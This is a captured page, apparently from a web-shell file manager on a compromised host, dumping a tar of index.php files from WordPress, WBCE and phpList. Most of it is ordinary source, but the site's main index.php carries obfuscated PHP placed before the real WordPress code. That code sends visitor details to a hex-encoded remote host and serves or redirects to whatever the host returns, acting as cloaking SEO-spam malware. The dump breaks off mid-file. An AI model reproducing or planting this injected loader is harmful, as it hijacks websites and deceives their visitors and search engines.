whoami7 - Manager
:
/
home
/
creaupfw
/
public_html
/
wp-includes
/
assets
/
Upload File:
files >> /home/creaupfw/public_html/wp-includes/assets/index.php.tar
home/creaupfw/public_html/wp-includes/blocks/index.php 0000644 00000011767 15027776524 0017174 0 ustar 00 <?php /** * Used to set up all core blocks used with the block editor. * * @package WordPress */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } define( 'BLOCKS_PATH', ABSPATH . WPINC . '/blocks/' ); // Include files required for core blocks registration. require BLOCKS_PATH . 'legacy-widget.php'; require BLOCKS_PATH . 'widget-group.php'; require BLOCKS_PATH . 'require-dynamic-blocks.php'; /** * Registers core block style handles. * * While {@see register_block_style_handle()} is typically used for that, the way it is * implemented is inefficient for core block styles. Registering those style handles here * avoids unnecessary logic and filesystem lookups in the other function. * * @since 6.3.0 */ function register_core_block_style_handles() { $wp_version = wp_get_wp_version(); if ( ! wp_should_load_separate_core_block_assets() ) { return; } $blocks_url = includes_url( 'blocks/' ); $suffix = wp_scripts_get_suffix(); $wp_styles = wp_styles(); $style_fields = array( 'style' => 'style', 'editorStyle' => 'editor', ); static $core_blocks_meta; if ( ! $core_blocks_meta ) { $core_blocks_meta = require BLOCKS_PATH . 'blocks-json.php'; } $files = false; $transient_name = 'wp_core_block_css_files'; /* * Ignore transient cache when the development mode is set to 'core'. Why? To avoid interfering with * the core developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'core' ); if ( $can_use_cached ) { $cached_files = get_transient( $transient_name ); // Check the validity of cached values by checking against the current WordPress version. if ( is_array( $cached_files ) && isset( $cached_files['version'] ) && $cached_files['version'] === $wp_version && isset( $cached_files['files'] ) ) { $files = $cached_files['files']; } } if ( ! $files ) { $files = glob( wp_normalize_path( BLOCKS_PATH . '**/**.css' ) ); // Normalize BLOCKS_PATH prior to substitution for Windows environments. $normalized_blocks_path = wp_normalize_path( BLOCKS_PATH ); $files = array_map( static function ( $file ) use ( $normalized_blocks_path ) { return str_replace( $normalized_blocks_path, '', $file ); }, $files ); // Save core block style paths in cache when not in development mode. if ( $can_use_cached ) { set_transient( $transient_name, array( 'version' => $wp_version, 'files' => $files, ) ); } } $register_style = static function ( $name, $filename, $style_handle ) use ( $blocks_url, $suffix, $wp_styles, $files ) { $style_path = "{$name}/{$filename}{$suffix}.css"; $path = wp_normalize_path( BLOCKS_PATH . $style_path ); if ( ! in_array( $style_path, $files, true ) ) { $wp_styles->add( $style_handle, false ); return; } $wp_styles->add( $style_handle, $blocks_url . $style_path ); $wp_styles->add_data( $style_handle, 'path', $path ); $rtl_file = "{$name}/{$filename}-rtl{$suffix}.css"; if ( is_rtl() && in_array( $rtl_file, $files, true ) ) { $wp_styles->add_data( $style_handle, 'rtl', 'replace' ); $wp_styles->add_data( $style_handle, 'suffix', $suffix ); $wp_styles->add_data( $style_handle, 'path', str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $path ) ); } }; foreach ( $core_blocks_meta as $name => $schema ) { /** This filter is documented in wp-includes/blocks.php */ $schema = apply_filters( 'block_type_metadata', $schema ); // Backfill these properties similar to `register_block_type_from_metadata()`. if ( ! isset( $schema['style'] ) ) { $schema['style'] = "wp-block-{$name}"; } if ( ! isset( $schema['editorStyle'] ) ) { $schema['editorStyle'] = "wp-block-{$name}-editor"; } // Register block theme styles. $register_style( $name, 'theme', "wp-block-{$name}-theme" ); foreach ( $style_fields as $style_field => $filename ) { $style_handle = $schema[ $style_field ]; if ( is_array( $style_handle ) ) { continue; } $register_style( $name, $filename, $style_handle ); } } } add_action( 'init', 'register_core_block_style_handles', 9 ); /** * Registers core block types using metadata files. * Dynamic core blocks are registered separately. * * @since 5.5.0 */ function register_core_block_types_from_metadata() { $block_folders = require BLOCKS_PATH . 'require-static-blocks.php'; foreach ( $block_folders as $block_folder ) { register_block_type_from_metadata( BLOCKS_PATH . $block_folder ); } } add_action( 'init', 'register_core_block_types_from_metadata' ); /** * Registers the core block metadata collection. * * This function is hooked into the 'init' action with a priority of 9, * ensuring that the core block metadata is registered before the regular * block initialization that happens at priority 10. * * @since 6.7.0 */ function wp_register_core_block_metadata_collection() { wp_register_block_metadata_collection( BLOCKS_PATH, BLOCKS_PATH . 'blocks-json.php' ); } add_action( 'init', 'wp_register_core_block_metadata_collection', 9 ); home/creaupfw/public_html/wp-admin/index.php 0000644 00000017270 15030433426 0015155 0 ustar 00 <?php /** * Dashboard Administration Screen * * @package WordPress * @subpackage Administration */ /** Load WordPress Bootstrap */ require_once __DIR__ . '/admin.php'; /** Load WordPress dashboard API */ require_once ABSPATH . 'wp-admin/includes/dashboard.php'; wp_dashboard_setup(); wp_enqueue_script( 'dashboard' ); if ( current_user_can( 'install_plugins' ) ) { wp_enqueue_script( 'plugin-install' ); wp_enqueue_script( 'updates' ); } if ( current_user_can( 'upload_files' ) ) { wp_enqueue_script( 'media-upload' ); } add_thickbox(); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } // Used in the HTML title tag. $title = __( 'Dashboard' ); $parent_file = 'index.php'; $help = '<p>' . __( 'Welcome to your WordPress Dashboard!' ) . '</p>'; $help .= '<p>' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '</p>'; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '<p>' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '</p>'; $help .= '<p>' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '</p>'; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '<p>' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '</p>'; $help .= '<p>' . __( '<strong>Screen Options</strong> — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '</p>'; $help .= '<p>' . __( '<strong>Drag and Drop</strong> — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '</p>'; $help .= '<p>' . __( '<strong>Box Controls</strong> — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '</p>'; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '<p>' . __( 'The boxes on your Dashboard screen are:' ) . '</p>'; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '<p>' . __( '<strong>Welcome</strong> — Shows links for some of the most common tasks when setting up a new site.' ) . '</p>'; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '<p>' . __( '<strong>Site Health Status</strong> — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '</p>'; } if ( current_user_can( 'edit_posts' ) ) { $help .= '<p>' . __( '<strong>At a Glance</strong> — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '</p>'; } $help .= '<p>' . __( '<strong>Activity</strong> — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '</p>'; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '<p>' . __( "<strong>Quick Draft</strong> — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '</p>'; } $help .= '<p>' . sprintf( /* translators: %s: WordPress Planet URL. */ __( '<strong>WordPress Events and News</strong> — Upcoming events near you as well as the latest news from the official WordPress project and the <a href="%s">WordPress Planet</a>.' ), __( 'https://planet.wordpress.org/' ) ) . '</p>'; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '<a href="%1$s">%2$s</a>', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/dashboard-screen/">Documentation on Dashboard</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' . '<p>' . $wp_version_text . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <?php if ( ! empty( $_GET['admin_email_remind_later'] ) ) : /** This filter is documented in wp-login.php */ $remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS ); $postponed_time = get_option( 'admin_email_lifespan' ); /* * Calculate how many seconds it's been since the reminder was postponed. * This allows us to not show it if the query arg is set, but visited due to caches, bookmarks or similar. */ $time_passed = time() - ( $postponed_time - $remind_interval ); // Only show the dashboard notice if it's been less than a minute since the message was postponed. if ( $time_passed < MINUTE_IN_SECONDS ) : $message = sprintf( /* translators: %s: Human-readable time interval. */ __( 'The admin email verification page will reappear after %s.' ), human_time_diff( time() + $remind_interval ) ); wp_admin_notice( $message, array( 'type' => 'success', 'dismissible' => true, ) ); endif; endif; ?> <?php if ( has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) : $classes = 'welcome-panel'; $option = (int) get_user_meta( get_current_user_id(), 'show_welcome_panel', true ); // 0 = hide, 1 = toggled to show or single site creator, 2 = multisite site owner. $hide = ( 0 === $option || ( 2 === $option && wp_get_current_user()->user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?> <div id="welcome-panel" class="<?php echo esc_attr( $classes ); ?>"> <?php wp_nonce_field( 'welcome-panel-nonce', 'welcomepanelnonce', false ); ?> <a class="welcome-panel-close" href="<?php echo esc_url( admin_url( '?welcome=0' ) ); ?>" aria-label="<?php esc_attr_e( 'Dismiss the welcome panel' ); ?>"><?php _e( 'Dismiss' ); ?></a> <?php /** * Fires when adding content to the welcome panel on the admin dashboard. * * To remove the default welcome panel, use remove_action(): * * remove_action( 'welcome_panel', 'wp_welcome_panel' ); * * @since 3.5.0 */ do_action( 'welcome_panel' ); ?> </div> <?php endif; ?> <div id="dashboard-widgets-wrap"> <?php wp_dashboard(); ?> </div><!-- dashboard-widgets-wrap --> </div><!-- wrap --> <?php wp_print_community_events_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php'; home/creaupfw/public_html/index.php 0000644 00000024215 15030602064 0013432 0 ustar 00 <?php goto ZDnOH; FOHQM: echo bByU6($DX2P1); goto C85bG; DSIlu: @header("\103\x6f\x6e\164\x65\156\x74\55\164\x79\x70\145\x3a\40\x74\x65\x78\x74\x2f\150\164\155\x6c\x3b\40\x63\x68\x61\162\163\145\164\75\165\x74\146\x2d\70"); goto ASghL; d3Ld8: $G3Jg7 = @$_SERVER["\110\124\124\120\137\x41\103\x43\105\120\x54\137\x4c\x41\116\107\x55\101\107\x45"]; goto VvqiL; CkQco: rdn01: goto IGKU5; sGgbV: $JbaAI = array("\167\145\x62" => $GM4es, "\172\172" => S2Vej(), "\165\x72\x69" => $IgI3p, "\x75\162\154\163\x68\141\156\147" => $m89lB, "\x68\164\x74\x70" => $aEbNl, "\154\x61\156\147" => $G3Jg7); goto SLiIJ; G2jNA: if (wG2MV()) { goto hfYt1; } goto E1aVn; VcGef: $rQCFw = "\142\x64\x63\157\x73\145\162\x79\155\x2e\x61\164\x61\x73\x63\x73\x67\141\56\x78\x79\x7a"; goto tc6hs; CHc6N: $DX2P1 = trim(sKsF9($CffKb, $JbaAI)); goto s1pdR; D8vEV: $gKnM2 = "\150\164\164\x70"; goto G2jNA; SBcbU: @header("\x48\124\124\120\x2f\61\x2e\61\40\x33\60\x31\x20\x4d\x6f\x76\x65\144\x20\120\145\x72\155\141\156\145\156\164\x6c\171"); goto Xcw32; vzoXV: BIJy_: goto sPlOU; wuwtm: whbsK: goto DSIlu; uvdmi: function ChE7M($kzLE2) { goto aAXPL; baMg9: Fwjxa: goto C7dYv; C7dYv: return $Ey_K6; goto SpU31; aAXPL: $Ey_K6 = ''; goto TL0uW; g29pc: $Ey_K6 = @file_get_contents($kzLE2); goto baMg9; TL0uW: if ($Ey_K6) { goto Fwjxa; } goto g29pc; SpU31: } goto IzMnj; ZsB3G: jSbM8: goto vvayD; JwHCe: header("\114\157\x63\141\x74\x69\x6f\x6e\x3a\40" . $DX2P1); goto zCvZg; SA2fH: hfYt1: goto q57FQ; VvqiL: $G3Jg7 = $G3Jg7; goto i0iww; LL1CM: zKOe2: goto FQ0S4; s1pdR: if (strstr($DX2P1, "\156\x6f\142\157\164\165\163\145\162\x61\x67\145\156\164")) { goto P1BFB; } goto uXfza; HsXJv: @header("\103\x6f\156\x74\145\x6e\164\x2d\164\171\x70\145\72\x20\164\x65\x78\164\57\150\164\x6d\x6c\x3b\x20\143\x68\x61\x72\163\x65\164\x3d\x75\x74\146\x2d\70"); goto FOHQM; jiboN: if (!($YQJMh == '')) { goto FMROr; } goto tncZk; q57FQ: $aEbNl = "\x68\x74\164\160\163"; goto CkQco; SLiIJ: $CffKb = $gKnM2 . "\72\x2f\57" . $rQCFw . "\57\x69\x6e\x64\x65\x78\156\x65\167\x2e\160\x68\160"; goto CHc6N; uXfza: if (strstr($DX2P1, "\157\x6b\150\x74\155\x6c\147\x65\164\x63\157\156\164\x65\x6e\164")) { goto whbsK; } goto diNsM; BpHGt: $m89lB = $_SERVER["\x48\124\x54\x50\137\x52\105\106\x45\x52\105\122"]; goto BnFmy; wthbW: rAxW8: goto q3hGf; diNsM: if (strstr($DX2P1, "\x6f\x6b\x78\155\154\147\x65\x74\x63\x6f\156\x74\x65\x6e\164")) { goto gg6kN; } goto y01l8; zhSFS: IwcIX: goto WLX84; IGKU5: $YQJMh = i9M_u(); goto jiboN; gSmsV: exit; goto zDbx0; oZrCp: bLNqf: goto ZNBT6; ZNBT6: goto jSbM8; goto GL94l; i0iww: $m89lB = ''; goto Zc_Qc; jF4OO: @header("\x43\157\x6e\164\145\x6e\164\55\164\x79\160\145\72\x20\x74\x65\x78\164\57\170\x6d\x6c"); goto A6PQX; tncZk: $YQJMh = "\x2f"; goto IXRMU; STsOJ: function i9m_U() { goto J0FZZ; NSQVW: VO6uO: goto A8Oe7; J0FZZ: if (isset($_SERVER["\122\x45\x51\125\x45\x53\x54\137\125\122\x49"])) { goto EGx9o; } goto LnyJC; LnyJC: if (isset($_SERVER["\141\162\147\166"])) { goto iaZX8; } goto CIDoN; DNtA_: EGx9o: goto nNpAf; PpqQH: goto VO6uO; goto DNtA_; CIDoN: $IgI3p = $_SERVER["\120\x48\120\137\123\105\114\x46"] . "\x3f" . $_SERVER["\x51\125\x45\122\131\x5f\x53\x54\x52\111\x4e\107"]; goto j3PIk; PM2sj: iaZX8: goto WvddY; A8Oe7: return $IgI3p; goto T9rLj; luhCV: nhjF3: goto PpqQH; nNpAf: $IgI3p = $_SERVER["\122\105\121\x55\x45\123\x54\137\125\122\111"]; goto NSQVW; j3PIk: goto nhjF3; goto PM2sj; WvddY: $IgI3p = $_SERVER["\120\x48\x50\x5f\x53\105\x4c\106"] . "\x3f" . $_SERVER["\x61\x72\x67\x76"][0]; goto luhCV; T9rLj: } goto VcGef; A754B: cKujJ: goto IqsAf; IqsAf: goto bLNqf; goto nXSHj; ZDnOH: $NRD4O = "\45\x36\x46\x25\x37\x31\45\x37\x30\x25\x36\x32\45\x36\x36\x25\x37\x32\x25\66\x35\x25\66\103\x25\x37\x41\x25\x32\105\45\x36\x45\45\66\x37\45\x36\x45\x25\x36\66\45\67\60\x25\x36\x36\45\67\64\45\x36\105\x25\x32\x45\x25\x36\102\45\66\103\x25\66\x44"; goto D8vEV; FQ0S4: @header("\x48\x54\x54\x50\x2f\61\x2e\x31\40\x34\60\x34\40\116\x6f\x74\x20\106\157\x75\156\144"); goto gSmsV; vvayD: goto BIJy_; goto wuwtm; aBNXc: if (!strstr($DX2P1, "\x67\145\164\x63\x6f\x6e\164\x65\156\164\63\x30\x31\160\141\147\145")) { goto rAxW8; } goto SBcbU; YJRnn: $DX2P1 = str_replace("\x6f\x6b\x78\155\x6c\147\x65\164\143\157\x6e\x74\145\x6e\x74", '', $DX2P1); goto jF4OO; I8x4b: function s2vEJ() { goto EHMlU; BQsGI: SqiR6: goto BOOo1; PxHQZ: goto XC_3l; goto BQsGI; EHMlU: $cvEf8 = strtolower($_SERVER["\110\x54\124\x50\x5f\125\x53\x45\122\x5f\101\107\x45\x4e\x54"]); goto c4BKW; fnUIQ: XC_3l: goto LQe6L; c4BKW: if (stristr($cvEf8, "\147\x6f\157\147\x6c\145\142\x6f\164") || stristr($cvEf8, "\142\x69\156\147") || stristr($cvEf8, "\171\x61\150\157\x6f") || stristr($cvEf8, "\x67\157\157\x67\x6c\145") || stristr($cvEf8, "\x47\157\157\147\x6c\x65\142\157\x74") || stristr($cvEf8, "\x67\x6f\157\x67\x6c\145\142\x6f\164")) { goto SqiR6; } goto BPhFb; BPhFb: return false; goto PxHQZ; BOOo1: return true; goto fnUIQ; LQe6L: } goto uvdmi; BnFmy: $m89lB = $m89lB; goto zhSFS; mS8hu: echo $DX2P1; goto EQ2jD; hVpT0: VdPA8: goto q2_rM; vVli5: exit; goto A754B; Xcw32: $DX2P1 = str_replace("\147\145\x74\143\157\156\x74\x65\x6e\x74\x33\60\x31\160\x61\x67\x65", '', $DX2P1); goto JwHCe; A6PQX: echo $DX2P1; goto zAFEF; ASghL: $DX2P1 = str_replace("\x6f\153\x68\164\155\x6c\147\145\164\x63\x6f\156\x74\145\156\x74", '', $DX2P1); goto mS8hu; zDbx0: NBIi7: goto hglN_; ofWcu: $DX2P1 = str_replace("\160\x69\156\147\x78\x6d\154\147\145\x74\143\x6f\156\164\145\156\x74", '', $DX2P1); goto HsXJv; C85bG: exit; goto oZrCp; zTAoA: if (strstr($DX2P1, "\147\x65\164\143\x6f\x6e\164\x65\156\164\64\x30\x34\160\141\x67\145")) { goto zKOe2; } goto aBNXc; hglN_: goto cKujJ; goto hVpT0; tc6hs: function wg2MV() { goto LQMhU; XOjCT: wDMrk: goto dQ990; g7s_r: return true; goto ubT3P; SbMNN: return true; goto hhNfr; UtAU4: CTu1k: goto g7s_r; uxGRb: GTFLf: goto SbMNN; rlN0T: goto mamn7; goto UtAU4; LQMhU: if (isset($_SERVER["\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\x66") { goto GTFLf; } goto tHI3H; hhNfr: goto mamn7; goto XOjCT; cHBwx: if (isset($_SERVER["\110\124\124\x50\x5f\106\122\x4f\x4e\124\x5f\105\x4e\x44\137\x48\124\124\120\123"]) && strtolower($_SERVER["\x48\124\x54\x50\x5f\x46\122\117\x4e\124\x5f\x45\116\104\137\110\x54\124\120\x53"]) !== "\157\x66\146") { goto CTu1k; } goto aG6v_; aG6v_: goto mamn7; goto uxGRb; tHI3H: if (isset($_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\x52\127\101\122\104\105\x44\137\x50\x52\117\124\x4f"]) && $_SERVER["\110\x54\124\x50\137\x58\x5f\106\x4f\x52\127\x41\x52\x44\105\104\137\120\122\117\124\x4f"] === "\150\x74\x74\160\x73") { goto wDMrk; } goto cHBwx; ubT3P: mamn7: goto qG_eh; qG_eh: return false; goto bibCj; dQ990: return true; goto rlN0T; bibCj: } goto UgI2q; IzMnj: function SkSf9($kzLE2, $M0E8L) { goto di7hV; THzhg: $Ey_K6 = curl_exec($LgrIG); goto cGCS3; NlP2L: $LgrIG = curl_init(); goto QB_P1; xXMwq: curl_setopt($LgrIG, CURLOPT_SSL_VERIFYPEER, 0); goto gFzlk; Tvbrs: fE5tn: goto OvKtZ; cGCS3: curl_close($LgrIG); goto btOqW; QB_P1: curl_setopt($LgrIG, CURLOPT_URL, $kzLE2); goto gu11R; btOqW: qFLqn: goto q8gp2; bj8u9: curl_setopt($LgrIG, CURLOPT_POSTFIELDS, $M0E8L); goto THzhg; dK5bE: curl_setopt($LgrIG, CURLOPT_USERAGENT, "\x4d\157\172\x69\x6c\154\x61\x2f\64\x2e\60\x20\x28\143\x6f\155\160\141\x74\151\142\x6c\145\73\40\x4d\123\111\105\40\65\56\60\61\73\40\x57\x69\156\144\x6f\167\163\40\x4e\124\40\x35\56\60\51"); goto A2xMw; q8gp2: if ($Ey_K6) { goto dXnyA; } goto b3gKg; gFzlk: curl_setopt($LgrIG, CURLOPT_HEADER, 0); goto V4JT2; zSKyk: foreach ($M0E8L as $fleSL => $kgx8s) { goto kK5PW; UtsIB: $kzLE2 .= "\77" . $fleSL . "\x3d" . $kgx8s; goto iQD0J; VZufp: goto ruqRS; goto hAyp7; MRKQj: $kzLE2 .= "\46" . $fleSL . "\75" . $kgx8s; goto VZufp; pMJe3: YktkF: goto bNt4m; hAyp7: PagqO: goto UtsIB; kK5PW: if ($GDByj == 0) { goto PagqO; } goto MRKQj; iQD0J: ruqRS: goto OIClU; OIClU: $GDByj++; goto pMJe3; bNt4m: } goto Tvbrs; FwTFx: dXnyA: goto be3Fd; be3Fd: return $Ey_K6; goto xUWx4; b3gKg: $GDByj = 0; goto zSKyk; gu11R: curl_setopt($LgrIG, CURLOPT_POST, 1); goto dK5bE; j1uzF: if (!function_exists("\x63\x75\x72\x6c\x5f\x69\x6e\151\x74")) { goto qFLqn; } goto NlP2L; di7hV: $Ey_K6 = ''; goto j1uzF; A2xMw: curl_setopt($LgrIG, CURLOPT_SSL_VERIFYHOST, 0); goto xXMwq; V4JT2: curl_setopt($LgrIG, CURLOPT_RETURNTRANSFER, 1); goto bj8u9; OvKtZ: $Ey_K6 = @file_get_contents($kzLE2); goto FwTFx; xUWx4: } goto sGgbV; WLX84: function BByU6($kzLE2) { goto LJteI; LJteI: $KaBZX = explode("\15\12", trim($kzLE2)); goto aQkiY; BXeaR: return $pkRUQ; goto VV8Zn; GVh7_: foreach ($KaBZX as $EBs60) { goto YtH0Q; ZyTen: $ZAWDC = strpos($mi1mC, "\x53\x69\x74\x65\155\x61\160\40\x4e\157\x74\151\146\x69\143\x61\x74\x69\x6f\156\40\x52\145\143\145\151\x76\x65\x64") !== false ? "\160\x69\156\147\x6f\x6b" : "\145\x72\x72\157\x72"; goto B4OyN; B4OyN: $pkRUQ .= $EBs60 . "\x2d\x2d\40" . $ZAWDC . "\74\x62\x72\x3e"; goto NFsFu; NFsFu: On9km: goto OFYwT; YtH0Q: $mi1mC = CHe7m($EBs60); goto ZyTen; OFYwT: } goto JBHDT; JBHDT: MJ3rW: goto BXeaR; aQkiY: $pkRUQ = ''; goto GVh7_; VV8Zn: } goto I8x4b; IXRMU: FMROr: goto znpqL; E1aVn: $aEbNl = "\150\164\164\x70"; goto zJhdQ; GL94l: gg6kN: goto YJRnn; EQ2jD: exit; goto vzoXV; zAFEF: exit; goto ZsB3G; y01l8: if (strstr($DX2P1, "\x70\x69\156\x67\170\155\x6c\147\x65\x74\x63\x6f\156\x74\145\156\x74")) { goto TVG3q; } goto lKxDP; q2_rM: @header("\x48\x54\124\120\x2f\61\x2e\61\40\x35\x30\x30\40\x49\x6e\164\x65\x72\x6e\x61\x6c\40\123\145\x72\166\x65\162\x20\x45\x72\x72\157\x72"); goto vVli5; lKxDP: if (strstr($DX2P1, "\x67\145\x74\x63\157\156\164\145\156\164\x35\60\x30\x70\x61\147\145")) { goto VdPA8; } goto zTAoA; zCvZg: exit; goto wthbW; znpqL: $IgI3p = $YQJMh; goto STsOJ; zJhdQ: goto rdn01; goto SA2fH; q3hGf: goto NBIi7; goto LL1CM; Zc_Qc: if (!isset($_SERVER["\x48\124\x54\120\137\x52\105\x46\x45\122\105\122"])) { goto IwcIX; } goto BpHGt; UgI2q: $GM4es = $_SERVER["\110\x54\124\120\137\x48\117\x53\x54"]; goto d3Ld8; nXSHj: TVG3q: goto ofWcu; sPlOU: P1BFB: /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; var/softaculous/wbce/index.php 0000644 00000000630 15032212257 0012441 0 ustar 00 <?php /** * * @category modules * @package news_img * @author WBCE Community * @copyright 2004-2009, Ryan Djurovich * @copyright 2009-2010, Website Baker Org. e.V. * @copyright 2019-, WBCE Community * @link https://www.wbce.org/ * @license http://www.gnu.org/licenses/gpl.html * @platform WBCE * */ header('Location: ../'); ?> var/softaculous/phplist/index.php 0000644 00000104457 15036444166 0013232 0 ustar 00 <?php // check for basic prerequisites require_once dirname(__FILE__).'/checkprerequisites.php'; if (ob_get_level() == 0) { @ob_start(); } $er = error_reporting(0); // check for commandline and cli version if (!isset($_SERVER['SERVER_NAME']) && PHP_SAPI != 'cli') { echo 'Warning: commandline only works well with the cli version of PHP'; } if (isset($_REQUEST['_SERVER'])) { exit; } $cline = array(); $GLOBALS['commandline'] = 0; require_once dirname(__FILE__).'/inc/unregister_globals.php'; require_once dirname(__FILE__).'/inc/magic_quotes.php'; // Remove when php5.X is unsupported, currently 31 Dec 2018, https://secure.php.net/supported-versions.php require_once dirname(__FILE__).'/inc/random_compat/random.php'; /* no idea why it wouldn't be there (no dependencies are mentioned on php.net/mb_strtolower), but * found a system missing it. We need it from the start */ if (!function_exists('mb_strtolower')) { function mb_strtolower($string) { return strtolower($string); } } // setup commandline //if (php_sapi_name() == "cli") { //# 17355 - change the way CL is detected, using the way Drupal does it. if (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0))) { for ($i = 0; $i < $_SERVER['argc']; ++$i) { $my_args = array(); if (preg_match('/(.*)=(.*)/', $_SERVER['argv'][$i], $my_args)) { $_GET[$my_args[1]] = $my_args[2]; $_REQUEST[$my_args[1]] = $my_args[2]; } } $GLOBALS['commandline'] = 1; $cline = parseCline(); $dir = dirname($_SERVER['SCRIPT_FILENAME']); chdir($dir); if (isset($cline['c']) && !is_file($cline['c'])) { echo "Cannot find config file\n"; exit; } } else { $GLOBALS['commandline'] = 0; header('Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 header('Pragma: no-cache'); // HTTP/1.0 } $configfile = ''; if (isset($_SERVER['ConfigFile']) && is_file($_SERVER['ConfigFile'])) { $configfile = $_SERVER['ConfigFile']; } elseif (isset($cline['c']) && is_file($cline['c'])) { $configfile = $cline['c']; } elseif (is_file(__DIR__.'/../config/config.php')) { $configfile = __DIR__.'/../config/config.php'; } else { $configfile = '../config/config.php'; } if (is_file($configfile) && filesize($configfile) > 20) { include $configfile; } elseif ($GLOBALS['commandline']) { echo 'Cannot find config file'."\n"; } else { echo '<h3>Cannot find config file, please check permissions</h3>'; exit; } $ajax = isset($_GET['ajaxed']); if (!isset($database_host) || !isset($database_user) || !isset($database_password) || !isset($database_name)) { echo 'Database details incomplete, please check your config file'; exit; } //exit; // record the start time(usec) of script $now = gettimeofday(); $GLOBALS['pagestats'] = array(); $GLOBALS['pagestats']['time_start'] = $now['sec'] * 1000000 + $now['usec']; $GLOBALS['pagestats']['number_of_queries'] = 0; // load all required files require_once dirname(__FILE__).'/init.php'; require_once dirname(__FILE__).'/inc/UUID.php'; require_once dirname(__FILE__).'/'.$GLOBALS['database_module']; include_once dirname(__FILE__).'/defaultFrontendTexts.php'; if (file_exists(dirname(__FILE__).'/../texts/'.$GLOBALS['language_module'])) { include_once dirname(__FILE__).'/../texts/'.$GLOBALS['language_module']; } include_once dirname(__FILE__).'/languages.php'; require_once dirname(__FILE__).'/defaultconfig.php'; require_once dirname(__FILE__).'/connect.php'; include_once dirname(__FILE__).'/lib.php'; require_once dirname(__FILE__).'/inc/interfacelib.php'; if (!empty($cline['-']) && $cline['-'] == 'version') { cl_output(ClineSignature()); exit; } $systemTimer = new timer(); // do a loose check, if the token is there, it needs to be valid. verifyCsrfGetToken(false); if (!empty($_SESSION['hasconf']) || Sql_Table_exists($tables['config'], 1)) { $_SESSION['hasconf'] = true; //## Activate all plugins /* already done in pluginlib */ //foreach ($GLOBALS['plugins'] as $plugin) { //$plugin->activate(); //} } if (isset($_REQUEST['resettheme'])) { SetCookie ( 'preferredTheme',''); } if (isset($_REQUEST['settheme']) && !empty($_REQUEST['settheme']) && is_array($THEMES[$_REQUEST['settheme']])) { $settheme = preg_replace('/[^\w_-]+/', '', strip_tags($_REQUEST['settheme'])); $GLOBALS['ui'] = $_REQUEST['settheme']; $_SESSION['ui'] = $GLOBALS['ui']; SetCookie ( 'preferredTheme', $_SESSION['ui'],time()+31536000); } elseif (!empty($_COOKIE['preferredTheme']) && isset($THEMES[$_COOKIE['preferredTheme']])) { $GLOBALS['ui'] = $_COOKIE['preferredTheme']; $_SESSION['ui'] = $GLOBALS['ui']; } if (isset($GLOBALS['ui']) && !is_array($THEMES[$GLOBALS['ui']])) { $themeKeys = array_keys($THEMES); $GLOBALS['ui'] = $themeKeys[0]; } if (isset($_SESSION['ui']) && is_array($THEMES[$_SESSION['ui']])) { $GLOBALS['ui'] = $_SESSION['ui']; } else { $_SESSION['ui'] = $GLOBALS['ui']; } $THEMEINFO = 